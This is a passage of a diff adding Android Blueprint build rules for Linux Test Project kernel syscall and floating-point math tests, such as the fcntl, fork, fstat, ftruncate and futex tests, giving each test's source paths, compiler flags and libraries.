+    stem: "fcntl36_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl36.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fdatasync01",
+    stem: "fdatasync01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fdatasync/fdatasync01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fdatasync02",
+    stem: "fdatasync02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fdatasync/fdatasync02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fgetxattr01",
+    stem: "fgetxattr01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fgetxattr/fgetxattr01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fgetxattr02",
+    stem: "fgetxattr02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fgetxattr/fgetxattr02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fgetxattr03",
+    stem: "fgetxattr03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fgetxattr/fgetxattr03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_flistxattr01",
+    stem: "flistxattr01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/flistxattr/flistxattr01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_flistxattr02",
+    stem: "flistxattr02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/flistxattr/flistxattr02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_flistxattr03",
+    stem: "flistxattr03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/flistxattr/flistxattr03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_float_bessel",
+    stem: "float_bessel",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/float_bessel.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_float_exp_log",
+    stem: "float_exp_log",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/float_exp_log.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_float_iperb",
+    stem: "float_iperb",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/float_iperb.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_float_power",
+    stem: "float_power",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/float_power.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_float_trigo",
+    stem: "float_trigo",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/float_trigo.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_flock01",
+    stem: "flock01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/flock/flock01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_flock02",
+    stem: "flock02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/flock/flock02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_flock03",
+    stem: "flock03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/flock/flock03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_flock04",
+    stem: "flock04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/flock/flock04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_flock06",
+    stem: "flock06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/flock/flock06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fork01",
+    stem: "fork01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fork/fork01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fork02",
+    stem: "fork02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fork/fork02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fork03",
+    stem: "fork03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fork/fork03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fork04",
+    stem: "fork04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fork/fork04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fork05",
+    stem: "fork05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fork/fork05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fork06",
+    stem: "fork06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fork/fork06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fork07",
+    stem: "fork07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fork/fork07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fork08",
+    stem: "fork08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fork/fork08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fork09",
+    stem: "fork09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fork/fork09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fork10",
+    stem: "fork10",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fork/fork10.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fork11",
+    stem: "fork11",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fork/fork11.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fork12",
+    stem: "fork12",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fork/fork12.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fork13",
+    stem: "fork13",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fork/fork13.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fork14",
+    stem: "fork14",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fork/fork14.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fork_exec_loop",
+    stem: "fork_exec_loop",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/freezer/fork_exec_loop.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fpathconf01",
+    stem: "fpathconf01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fpathconf/fpathconf01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fptest01",
+    stem: "fptest01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/fptests/fptest01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fptest02",
+    stem: "fptest02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/fptests/fptest02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_frag",
+    stem: "frag",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/fs_di/frag.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-D_LARGEFILE_SOURCE",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_fremovexattr01",
+    stem: "fremovexattr01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fremovexattr/fremovexattr01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fremovexattr02",
+    stem: "fremovexattr02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fremovexattr/fremovexattr02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fs_fill",
+    stem: "fs_fill",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/fs_fill/fs_fill.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fs_perms",
+    stem: "fs_perms",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/fs_perms/fs_perms.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fsetxattr01",
+    stem: "fsetxattr01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fsetxattr/fsetxattr01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fsetxattr02",
+    stem: "fsetxattr02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fsetxattr/fsetxattr02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fstat01",
+    stem: "fstat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fstat/fstat01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fstat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fstat01_64",
+    stem: "fstat01_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fstat/fstat01.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fstat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fstat02",
+    stem: "fstat02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fstat/fstat02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fstat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fstat02_64",
+    stem: "fstat02_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fstat/fstat02.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fstat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fstat03",
+    stem: "fstat03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fstat/fstat03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fstat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fstat03_64",
+    stem: "fstat03_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fstat/fstat03.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fstat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fstat05",
+    stem: "fstat05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fstat/fstat05.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fstat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fstat05_64",
+    stem: "fstat05_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fstat/fstat05.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fstat",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fstatat01",
+    stem: "fstatat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fstatat/fstatat01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fstatfs01",
+    stem: "fstatfs01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fstatfs/fstatfs01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fstatfs",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fstatfs01_64",
+    stem: "fstatfs01_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fstatfs/fstatfs01.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fstatfs",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fstatfs02",
+    stem: "fstatfs02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fstatfs/fstatfs02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fstatfs",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fstatfs02_64",
+    stem: "fstatfs02_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fstatfs/fstatfs02.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fstatfs",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fsx-linux",
+    stem: "fsx-linux",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/fsx-linux/fsx-linux.c"],
+    cflags: [
+        "-DNO_XFS",
+        "-D_LARGEFILE64_SOURCE",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/fs/fsx-linux",
+        "include/old",
+    ],
+}
+
+cc_test {
+    name: "ltp_fsync01",
+    stem: "fsync01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fsync/fsync01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fsync02",
+    stem: "fsync02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fsync/fsync02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fsync03",
+    stem: "fsync03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fsync/fsync03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ftest01",
+    stem: "ftest01",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/fs/ftest/libftest.c",
+        "testcases/kernel/fs/ftest/ftest01.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ftest02",
+    stem: "ftest02",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/fs/ftest/ftest02.c",
+        "testcases/kernel/fs/ftest/libftest.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ftest03",
+    stem: "ftest03",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/fs/ftest/libftest.c",
+        "testcases/kernel/fs/ftest/ftest03.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ftest04",
+    stem: "ftest04",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/fs/ftest/libftest.c",
+        "testcases/kernel/fs/ftest/ftest04.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ftest05",
+    stem: "ftest05",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/fs/ftest/libftest.c",
+        "testcases/kernel/fs/ftest/ftest05.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ftest06",
+    stem: "ftest06",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/fs/ftest/libftest.c",
+        "testcases/kernel/fs/ftest/ftest06.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ftest07",
+    stem: "ftest07",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/fs/ftest/ftest07.c",
+        "testcases/kernel/fs/ftest/libftest.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ftest08",
+    stem: "ftest08",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/fs/ftest/libftest.c",
+        "testcases/kernel/fs/ftest/ftest08.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ftruncate01",
+    stem: "ftruncate01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ftruncate/ftruncate01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ftruncate",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ftruncate01_64",
+    stem: "ftruncate01_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ftruncate/ftruncate01.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/ftruncate",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ftruncate02",
+    stem: "ftruncate02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ftruncate/ftruncate02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ftruncate",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ftruncate02_64",
+    stem: "ftruncate02_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ftruncate/ftruncate02.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/ftruncate",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ftruncate03",
+    stem: "ftruncate03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ftruncate/ftruncate03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ftruncate",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ftruncate03_64",
+    stem: "ftruncate03_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ftruncate/ftruncate03.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/ftruncate",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ftruncate04",
+    stem: "ftruncate04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ftruncate/ftruncate04.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ftruncate",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ftruncate04_64",
+    stem: "ftruncate04_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ftruncate/ftruncate04.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/ftruncate",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_futex_wait01",
+    stem: "futex_wait01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/futex/futex_wait01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_futex_wait03",
+    stem: "futex_wait03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/futex/futex_wait03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_futex_wait04",
+    stem: "futex_wait04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/futex/futex_wait04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_futex_wait05",
+    stem: "futex_wait05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/futex/futex_wait05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_futex_wait_bitset01",
+    stem: "futex_wait_bitset01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/futex/futex_wait_bitset01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_futex_wait_bitset02",
+    stem: "futex_wait_bitset02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/futex/futex_wait_bitset02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_futex_wake01",
+    stem: "futex_wake01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/futex/futex_wake01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_futex_wake02",
+    stem: "futex_wake02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/futex/futex_wake02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_futex_wake04",
+    stem: "futex_wake04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/futex/futex_wake04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_futimesat01",
+    stem: "futimesat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/futimesat/futimesat01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fw_load",
+    stem: "fw_load",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/firmware/fw_load_user/fw_load.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_genacos",
+    stem: "genacos",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/trigo/genacos.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genasin",
+    stem: "genasin",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/trigo/genasin.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genatan",
+    stem: "genatan",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/trigo/genatan.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genatan2",
+    stem: "genatan2",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/trigo/genatan2.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genbessel",
+    stem: "genbessel",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/bessel/genbessel.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genceil",
+    stem: "genceil",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/power/genceil.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_gencos",
+    stem: "gencos",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/trigo/gencos.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_gencosh",
+    stem: "gencosh",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/iperb/gencosh.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genexp",
+    stem: "genexp",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/exp_log/genexp.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genexp_log",
+    stem: "genexp_log",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/exp_log/genexp_log.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genfabs",
+    stem: "genfabs",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/power/genfabs.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_genfloor",
+    stem: "genfloor",
